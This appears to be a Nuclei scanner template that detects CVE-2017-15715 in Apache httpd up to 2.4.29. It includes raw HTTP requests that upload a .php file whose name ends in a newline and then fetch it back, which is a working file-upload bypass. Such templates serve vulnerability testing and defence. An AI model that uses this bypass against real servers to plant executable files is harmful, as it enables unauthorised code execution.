id: CVE-2017-15715

info:
  name: Apache httpd <=2.4.29 - Arbitrary File Upload
  author: geeknik
  severity: high
  description: Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
  impact: |
    An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.
  remediation: |
    Upgrade Apache httpd to a version higher than 2.4.29 or apply the necessary patches.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - http://www.openwall.com/lists/oss-security/2018/03/24/6
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15715
    - http://www.securitytracker.com/id/1040570
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-15715
    cwe-id: CWE-20
    epss-score: 0.8572
    epss-percentile: 0.99704
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: http_server
    shodan-query:
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve,cve2017,apache,httpd,fileupload,vulhub,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ

        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"

        {{randstr_1}}

        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
        Content-Disposition: form-data; name="name"

        {{randstr}}.php\x0A
        ------WebKitFormBoundaryKc8fBVDo558U4hbJ--
      - |
        GET /{{randstr}}.php\x0A HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip,deflate
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr_1}}")'
# digest: 490a004630440220775f8ed355de797044b810d1d12a3a22f47c69daa35a13b126bd6053ab7246b40220191b8359d1abccae07c056edb7ea74914e2bc84d06d5fad73a2014605f857663:922c64590222798bb761d5b6d8e72950